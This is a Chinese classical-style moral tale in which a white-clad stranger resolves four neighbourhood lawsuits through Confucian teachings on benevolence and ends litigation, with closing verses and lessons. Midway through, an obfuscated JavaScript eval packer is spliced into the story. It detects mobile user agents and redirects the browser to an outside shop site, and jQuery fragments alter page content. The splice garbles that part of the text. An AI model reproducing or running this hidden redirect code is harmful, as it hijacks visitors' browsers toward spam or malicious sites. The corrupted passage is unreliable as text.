楔子·讼藤案


    沔水之阳有山城名“知本邑”，邑有古榕，藤蔓纠结，状如讼状。邑人谓“讼藤”，相传有讼事则藤生，讼息则藤枯。百年间，此藤生灭数十次，邑人视为吉凶之兆。


    是年，讼藤忽发，蜿蜒十丈，覆满县衙照壁。邑中讼事蜂起：东街王、李二户争一堵墙，西市赵、钱二商争一只秤，南村孙、周二农争一垄田，北巷冯、陈二匠争一爿铺。县令吴讼累日升堂，案牍如山，竟至病倒。


    师爷献计：“可聘‘神断先生’听讼。”


    忽有白衣人策马入城，斗笠面纱，木剑悬腰，驻马观讼藤，朗声诵道：


    “听讼，吾犹人也。必也，使无讼乎？”


    诵罢，指藤叹：“藤生因讼起，欲藤枯，当使讼息。讼息之道，在知本也。”


    恰县令舆过，闻之急停，揖问：“先生有何妙策？”


    白衣人道：“某有一法，可使讼藤自枯。请邀四讼主事，随某行一日，观四桩‘无讼’公案。”


    一、 墙讼谳（东街）


    东街王厚、李实，比邻而居。王家筑墙，侵李家三寸。李实理论，王厚叱：“吾墙在吾地，干卿何事？”遂讼于官。县令量地，果侵三寸，判王厚拆墙。王厚不服，扬言“宁死不让”。


    白衣人引二人至讼藤下，问：“此藤何来？”


    王厚愤：“因讼而生！”


    “讼因何起？”


    “因墙！”


    白衣人指藤根：“藤根在土，讼根在心。尔等争三寸墙，是争地，是争气？”


    王厚语塞。白衣人取木剑，就地上划一线：“此线为界，各退一寸半，余出一寸作公巷，可好？”


    李实曰：“吾本不争，奈彼欺人！”


    王厚嚷：“吾祖业岂可让！”


    白衣人忽问：“尔等可知，此墙所用之砖，烧自何土？”


    二人怔。白衣人指西山：“烧砖之土，取自西山。西山为公山，土属全邑。今尔等争三寸墙，是争全邑之土乎？”


    又指讼藤：“此藤百年，缠死古树七株。每株皆因争地而枯。今尔等欲为第八株否？”


    二人汗下。白衣人取砖一块，击碎，中现陶片，有字“嘉靖三年公墙”。二人惊。


    白衣人道：“此墙本是公墙，后被私占。今尔等争私墙，是忘其本。不如复为公墙，利行人往来，岂不善哉？”


    王、李惭，遂让墙为公巷，行人称便。是夜，讼藤东枝枯。


    二、 秤讼谳（西市）


    西市赵丰、钱满，皆开粮铺。赵丰疑钱满秤短，暗较之，果短一钱。讼于官，县令验秤，确短。然钱满反诉赵丰秤砣有假。两铺相争，客商裹足。


    白衣人引二人至墟市，问：“秤以何为凭？”


    赵丰曰：“以星为准。”


    钱满曰：“以砣为衡。”


    白衣人取市曹公秤，较二人之秤，皆不准。二人愕然。


    白衣人道：“秤之准，在公心。尔等但较他人，不自较己，是心秤先偏。心偏则秤偏，秤偏则市乱。”


    又指墟中饥民：“今岁欠收，民有菜色。尔等为粮商，不忧民饥，但争一钱之利，可愧乎？”


    二人赧然。白衣人取二人秤，折为薪，以公秤赠之：“以此为准，价平斗满，可乎？”


    赵丰曰：“然彼短秤诈人…”


    钱满急辩：“吾非诈，是秤工做差…”


    白衣人止之：“无情者，不得尽其辞。短秤是实，辩乃虚辞。今不究诈，但求改。尔等可愿立‘公秤盟’，共保市平？”


    二人应诺。遂设“公秤亭”于市，凡交易，皆以公秤为准。粮价平，饥民得济。是夜，讼藤西枝枯。


    三、 田讼谳（南村）


    南村孙勤、周俭，田垄相连。孙家田高，周家田低。孙勤开沟排水，淹周家秧苗。周俭堵沟，孙家田涝。二人殴斗，讼至县衙。


    白衣人引二人至田头，时值暴雨初歇，沟水横流。白衣人问：“水之性，就下乎？就高乎？”


    孙勤曰：“就下。”


    “然则高田之水，当往何处？”


    “往低田。”


    “低田受水，当如何？”


    周俭曰：“当疏不当堵。”


    白衣人颔首：“水有水性，人有仁性。水就下，是顺势；仁推己，是恕道。今孙公开沟，是顺水性，然未顾邻田；周公堵沟，是卫己田，然逆水性。皆未推己及人。”


    遂教以“均水法”：高田开浅沟缓排，低田掘小塘蓄水。更于两田间植芦苇，固土分水。二人从之，田皆得润。


    白衣人谓二人：“农以和为贵。雨露同霑，水□□利。今尔等和，非独利己，亦利乡邻。若争讼不止，田荒人散，孰得孰失？”


    二人拜服。是夜，讼藤南枝枯。


    四、 铺讼谳（北巷）


    北巷冯诚、陈信，同开铁匠铺，对门而市。冯家制镰利，陈家制锄牢。二人互妒，冯诚散谣“陈锄易折”，陈信传语“冯镰卷刃”。客疑，两铺生意皆落。


    白衣人引二人至铺前，问：“匠以何为重？”


    冯诚曰：“以技为重。”


    陈信曰：“以质为重。”


    “技与质，孰本孰末？”


    二人语塞。白衣人道：“匠之本，在信。信失，则技伪质劣。今尔等互毁，是自毁信。信毁，客不至，铺将倾。”


    取冯家镰、陈家锄，叠而击之，镰锄皆无损。二人惊。


    白衣人道：“镰宜割，锄宜掘，各有所长。尔等不合则两伤，合则两利。何不合铺共营，冯专镰，陈专锄，统一定价，货真价实？”


    二人疑：“然利如何分？”


    “利以信分。”白衣人书契，“以年利为准，镰六锄四，因镰耗铁多。然遇荒年，利均分。可乎？”


    二人从之，合铺名“信诚坊”，镰锄并售，生意兴隆。白衣人曰：“无情者，不得尽其辞。尔等互毁时，言皆虚辞。今以实合，虚辞自息。”


    是夜，讼藤北枝枯。


    五、 知本会


    四讼俱解，讼藤唯余主干未枯。县令吴讼病愈，邀白衣人及四家主事，会于县衙。


    白衣人指藤道：“藤有四枝，喻四讼。今四枝枯，主干犹存，是因邑中尚有讼根。讼根在人心不知本。”


    吴讼问：“本在何处？”


    “在明德，在亲民，在至善。”白衣人朗声，“子曰：‘听讼，吾犹人也。必也，使无讼乎？’听讼之能，人皆可有；使无讼之德，在知本。无情者不得尽其辞，大畏民志——使民内心畏服，不敢虚辞，方是知本。”


    遂率众至城隍庙，立“知本碑”，刻孔子此言，并附四讼事略。碑阴题：


    “墙讼之本，在睦邻；


    秤讼之本，在公平；


    田讼之本，在恕道；


    铺讼之本，在信诚。


    四本归一，


    曰仁而已。


    仁行，则无讼；


    无讼，则藤枯。”


    碑成，讼藤主干果枯，叶落藤萎，三日尽槁。邑人奇之，白衣人道：“非藤有灵，是人心转。人心和，讼事息；讼事息，阴气消，故藤枯。此自然之理也。”


    吴讼拜问：“然则日后再生讼事，何以化之？”


    白衣人道：“设‘劝和堂’，择邑中贤老主之。凡有争，先至劝和堂，以情解，以理化。理不通，再讼于官。如此，十讼可化其九。”


    又教“三和法”：一对讼者共劳（如共修公墙），二对讼者共利（如合营商铺），三对讼者共济（如共赈灾民）。吴讼从之，知本邑渐成“无讼乡”。


    六、 无讼谣


    三年后，知本邑讼事绝迹。劝和堂悬“无讼匾”，堂前植和合树，树结连理枝。有外邑讼师来，叹：“此地无讼，吾何以谋食？”


    邑童笑：“先生可改学劝和。”


    讼师惭。适白衣人过，讼师揖问：“先生何以使民无讼？”


    白衣人答：“非吾使，是民自化。民知本，则耻讼；民知耻，则兴让。让则和，和则无讼。”


    又指和合树：“此树昔为讼藤所缠，几枯。今讼藤枯，树


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088220|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    复荣，且结连理。可知讼为戾气，和为生气。戾气消，生气长，自然之理也。”


    讼师问：“若遇顽民必讼，何以处之？”


    “顽民之讼，多在争利。可示以‘共利法’：如争财，则劝共营；争产，则劝共管；争名，则劝共美。使其知合则两利，斗则两伤。大畏民志，非畏刑罚，是畏失和失利。”


    讼师拜服，留邑学劝和，后成“和事先生”。


    白衣人将行，邑民送于城郊。吴讼赠“无讼图”，绘四讼和解事。白衣人展图，题诗：


    “听讼犹人何足奇，


    无讼方是圣人期。


    墙睦秤平田恕道，


    铺诚皆是本根基。


    无情虚辞民志畏，


    知本在仁不可移。


    寄语他乡听讼者，


    莫将刀笔记讼辞。”


    题罢，策马而去。木剑遗于道旁，化棠棣一株，花如白雪，实如赤心。


    尾声棠棣风


    又十年，知本邑名播四方。邻邑有讼，常引“知本四案”为训。有县令仿设劝和堂，然效者寥寥。问其故，邑老答：“彼但设堂，不化心。心不知本，堂虚设耳。”


    是岁，知本邑大疫，吴讼已老，率民共济。有患者疑医者用药不公，欲讼。吴讼引至劝和堂，示“无讼图”，道：“昔争墙、争秤、争田、争铺，皆化于和。今疫病当前，不思共济，反起内讼，是忘本也。”


    患者惭。吴讼又曰：“无情者，不得尽其辞。尔疑医，可有实据？无实据而讼，是虚辞。虚辞伤和，和伤则疫难退。”


    遂令医患同室，医示药方，患观其治。三日，患愈，拜谢医者。疫中，全邑无讼，协力抗灾，疫竟早退。


    白衣人偶过，见棠棣花开如雪，树下童子嬉戏，歌《无讼谣》：


    “听讼犹人不足夸，


    无讼才是君子家。


    墙要睦，秤要平，


    田要恕，铺要诚。


    无情虚辞不可有，


    知本在仁莫争差。


    劝和堂前棠棣开，


    无讼乡里乐无涯。”


    白衣人莞尔，问童：“尔等可知，何以无讼？”


    童答：“爷爷说，让人一步，天宽地阔；争人一寸，地窄天窄。”


    “让，本乎？”


    “本乎仁。仁者爱人，爱人者不争。”


    白衣人拊掌。时值夕照，棠棣花影，映满劝和堂壁，如天然“无讼图”。


    本章诫世


    一、 无讼为要


    - 听讼，吾犹人也。必也，使无讼乎？


    - 破解法：遇争讼，先思何以化讼，非何以胜讼


    - 示例：四讼皆以“和、平、恕、诚”化解，是知本


    二、 无情虚辞


    - 无情者，不得尽其辞——无实情者，不得逞其虚辩


    - 惕世：多少人以虚辞争讼？多少讼事起于猜忌，而非实情？


    - 反思：我可有“无情虚辞”？可曾以疑生讼？


    三、 大畏民志


    - 大畏民志——使民心敬畏，不敢轻讼


    - 深层隐喻：畏不在刑，在耻；耻不在败，在失和


    - 终极指向：知本在仁。仁行则和，和则无讼，无讼则民安


    无讼偈：


    知本邑中讼藤生，四案纷纭县令惊。


    白衣引说无讼道，墙睦秤平田恕诚。


    无情虚辞民志畏，知本在仁化顽氓。


    劝和堂前棠棣发，至今犹唱无讼声。


    后世叹：


    孔子听讼犹常人，必使无讼圣心彰。


    知本邑里讼藤蔓，四案纠缠公堂忙。


    白衣指破讼之本，在仁在让非在强。


    寄语世间理讼者，莫将刀笔记雌黄。


    正是：


    听讼犹人何足奇，无讼方是圣贤期。


    无情虚辞民志畏，知本在仁不可移。


    墙睦秤平田恕道，铺诚四案是根基。


    劝和堂前棠棣茂，无讼乡里颂雍熙。